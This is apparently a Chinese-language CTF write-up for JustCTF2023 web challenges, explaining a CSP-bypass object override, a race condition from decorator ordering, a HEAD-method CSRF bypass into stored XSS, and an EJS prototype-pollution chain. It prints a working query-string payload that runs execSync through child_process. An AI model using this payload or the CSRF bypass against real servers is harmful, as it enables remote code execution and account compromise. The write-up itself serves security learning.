0%

JustCTF2023

JustCTF2023

要求上班八小时,上了两个小时之后吃午饭时被食堂的顶级空调吹发烧了。。。不过不是很严重,但是就可以看完一道题后心安理得的下班了。一觉起来发现大家打到了第二,tnbl8。(一觉醒来感觉又好了 ,昨天还以为自己阳了)

rmb感觉一个多小时就秒了两个十解以内的题,那是真的牛逼。是一场好歹学了点什么的比赛

Dangerous

没看,ruby写的东西,好像是能leak数据然后签一个假session并且用XFF伪造IP?

eXtra Safe Security layers

花里胡哨的写了一堆,结果屁用没有。一开始看到那个顶级CSP我还在想无敌防御了,结果后面一个赋值直接给你清空了

    if (req.query.text) {
        res.user = { ...res.user, ...req.query };
    }

    // Safety layer 5
    res.set("Content-Security-Policy", res.user.unmodifiable.CSP ?? defaultCSP);

属于是一键绕过所有防御,xss的点的属性名字叫unmodifiable,不是很懂名字叫这个难道就不能改了吗。骗小朋友呢

Perfect Product

我看的那个题。不是很难,然后我被耍了
核心代码就这点

  const params = req.query || {};
  Object.assign(params, req.body || {});
  // console.log(req.body)

  let name = params.name 
  let strings = params.v;
  if(!(strings instanceof Array) && !Array.isArray(strings)){
    strings = ['NaN', 'NaN', 'NaN', 'NaN', 'NaN'];
  }
  
  // make _0 to point to all strings, copy to prevent reference.
  strings.unshift(Array.from(strings));
  // console.log(strings)
  const data = {};
  
  for(const idx in strings){
    data[`_${idx}`] = strings[idx];
  }

开局一个ejs模板渲染,又是直接将整个对象作为渲染参数,这样子就和前段时间那个hxp的题目一模一样了,加上这里还有一个_${idx}的赋值,一眼通过proto控制属性一键打通,直接赋值proto是不会污染原型链的,但是还是可以让当前对象访问到proto上的值,但是这里有一个!(strings instanceof Array) && !Array.isArray(strings)顶级防御,我也就是被这里迷惑了

Array.isArray是一个究极严格的校验,需要对象是被Array constructor或者array语法从字面量上创建出来的才行(mdn上写的很抽象,但是就是推荐使用这个并且检查顶级严格)
Array.isArray
而instanceof就比较的松散,只要对象的原型链上存在这个类型就会认为成功,而这里的判断条件是与,也就意味着只要能构造出一个对象的原型链上存在一个array就能通过校验。
instanceof
例如{"v":{"__proto__":[], "attr":xxxx} },可惜的是,直接从控制台里创建这个对象是可以通过检验的,而写成string后走JSON.parse却不行,怎么回事呢
JSON.parse
Object initializer

不得不说MDN的文档还是挺详细的,应有尽有

JSON is a strict subset of the object literal syntax, meaning that every valid JSON text can be parsed as an object literal, and would likely not cause syntax errors. The only exception is that the object literal syntax prohibits duplicate __proto__ keys, which does not apply to JSON.parse(). The latter treats __proto__ like a normal property and takes the last occurrence as the property’s value. The only time when the object value they represent (a.k.a. their semantic) differ is also when the source contains the __proto__ key — for object literals, it sets the object’s prototype; for JSON, it’s a normal property.

console.log(JSON.parse('{ "__proto__": 0, "__proto__": 1 }')); // {__proto__: 1}
console.log({ "__proto__": 0, "__proto__": 1 }); // SyntaxError: Duplicate __proto__ fields are not allowed in object literals
console.log(JSON.parse('{ "__proto__": {} }')); // { __proto__: {} }
console.log({ "__proto__": {} }); // {} (with {} as prototype)

简单的跟了一下bodyParser的json,也是走的JSON.parse。凉

最后是天哥发现从req.query能够直接构造出一个数组对象,并且还能给数组对象进行属性赋值,有点玄学。总之,后面的那个assign屁用没有,因为只有单层赋值,能够实现的就是将v覆盖掉。

这样子的话就能继续复用hxpctf中的payload了

v[__proto__][]=0&v[0]=0&v[1]=1&v[2]=2&v[3]=3&v[4]=4&v[_proto__][settings][view%20options][client]=1&v[_proto__][settings][view%20options][escape]={}.constructor.constructor("return+process.mainModule.require('child_process').execSync('/readflag')")&v[_proto__][cache]=

但是当时还是打不通,本地各种通远程各种不通,最后起了远程调试才发现,题目在启动的时候fetch了自己的product路由,进行了一次渲染,然后环境也和hxp的一样是production的,所以就没法再次渲染出可以利用的模板了。我本地调试的时候因为启动的时候会报一个fetch找不到的错,所以我把那行注释了。。。所以本地各种通

但是cache这个地方我在hxp的时候是看过的,当时得出的结论是无法控制(不知道脑子抽什么风了得出的结论。。。)再次回到那个赋值的点

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

前面merge上去的opts就是我们可控的选项,直接给opts上面加一个为false的值就可以了。这里留了个空字符串,因为字符串0在在后续的if判断里也能是true。所以我当时是怎么说出来这里不可控的。。。

Aquatic Delights

rmb急速秒杀的两题之一,关键点在于题目的装饰器顺序

@database_connection
@database_lock

先connection再lock,导致条件竞争的产生。题目的功能就是买卖,然后凑齐一个很高数额的钱就能买flag。竞争无非就是连着买多个只扣一份钱或者连着卖多个只消耗一份货。具体要看数据库的逻辑
这里的钱数是独立于数据库的,那就会出现卖操作时,多个卖操作同时读数据库,把卖得到的钱加上去后,将卖的结果写回数据库,导致一个商品被来回卖了几次,而钱数额外增长的情况。(同理,如果没有控制好买的频率,也可能导致一份商品被买了好几次白白亏钱。。。)

然后猛竞争即可,不过从rmb这里来看竞争成功率好像不是很高

这里还搜到一个关于装饰器执行顺序的话题,按照常理是从上往下,不过实际上还有那么一点的偏差,很有意思
Python 装饰器执行顺序迷思

Phantom

rmb极速秒杀的第二个题,wp也写的很简短,但是我感觉还挺难的。。。
xss题,每个人只能写看自己的profile,profile有name和description两个字段,bot的名字就是flag,显然就是在description处xss了。由于每个人只能看自己的profile,就算在自己的页面上xss也没法给bot看,所以必然是一个csrf题,过题目也很贴心的把cookie的samesite设置成了none,但是这个题引入了一个csrf中间件,对各种页面都添加了csrf的保护,并且对输入还有一个校验。

func isSafeHTML(input string) bool {
    var buffer bytes.Buffer
    tokenizer := html.NewTokenizer(strings.NewReader(input))

    for {
        tt := tokenizer.Next()
        switch {
        case tt == html.ErrorToken:
            return true
        case tt == html.StartTagToken, tt == html.EndTagToken, tt == html.SelfClosingTagToken:
            token := tokenizer.Token()
            if len(token.Attr) > 0 {
                return false
            }

            switch token.Data {
            case "h1", "h2", "h3", "h4", "h5", "h6", "b", "i", "a", "img", "p", "code", "svg", "textarea":
                buffer.WriteString(token.String())
            default:
                return false
            }
        case tt == html.TextToken:
            buffer.WriteString(tokenizer.Token().String())
        default:
            return false
        }
    }
}

但是我没有很理解这里只有ErrorToken返回true,然后token被接受的时候会把他写到一个不知道有什么用的buffer里。。。?

这个过滤暂且按下不表,考虑的是怎么样过这个csrf的防御。如果看的顶级仔细的话会发现,作者在绝大多数同时支持GET和POST方法的路由下,写出的判断是if r.Method == http.MethodGet else if r.Method == http.MethodPost,唯独在修改profile这个路由下是if r.Method == http.MethodGet else,也就意味着GET以外的所有请求类型都可以 被else后的分支处理,比如HEAD

但是这里还有另一个问题,也就是输入的参数是r.FormValue("description"),看起来非常的post,但是搜索一下就能发现这个是可以拿到query里面的值的。
如下是golang源码里的注释

// FormValue returns the first value for the named component of the query.
// POST and PUT body parameters take precedence over URL query string values.
// FormValue calls ParseMultipartForm and ParseForm if necessary and ignores
// any errors returned by these functions.
// If key is not present, FormValue returns the empty string.
// To access multiple values of the same key, call ParseForm and
// then inspect Request.Form directly.

完成逻辑闭环,使用head方法绕过csrf并在query中携带payload一键打通

但是还有一个要考虑的点,是cors,如果是一个复杂请求的话,是会发送一个OPTIONS预检请求的,这里没配cors,如果发了options肯定是没法收到通过的结果的。所以还得确定一下什么情况下会触发预检请求,还是参看mdn

CORS

A simple request is one that meets all the following conditions:

  • One of the allowed methods:
  • GET
  • HEAD
  • POST
    • Apart from the headers automatically set by the user agent (for example,Connection,User-Agent , or the other headers defined in the Fetch spec as a forbidden header name), the only headers which are allowed to be manually set arethose which the Fetch spec defines as a CORS-safelisted request-header , which are:
  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type (please note the additional requirements below)
  • Range (only with a simple range header value; e.g., bytes=256- or bytes=127-255)

虽然这里没写cookie,但是测试了一下发现加上{credentials: "include"}也不会触发预检请求,并且head请求也算在简单请求的范围内,所以可以一键打通

这里rmb在payload里还添加了另一个选项{mode: "no-cors"},这个选项感觉就是主动放弃 访问response,这样子由于cors未被满足导致的无法读取结果的报错也就不会产生,并不能强行无视预检请求进行发送
(以及原来post也能是简单请求,那在samesite为none的情况下感觉post都能随意csrf了)
Using Fetch
Request: mode property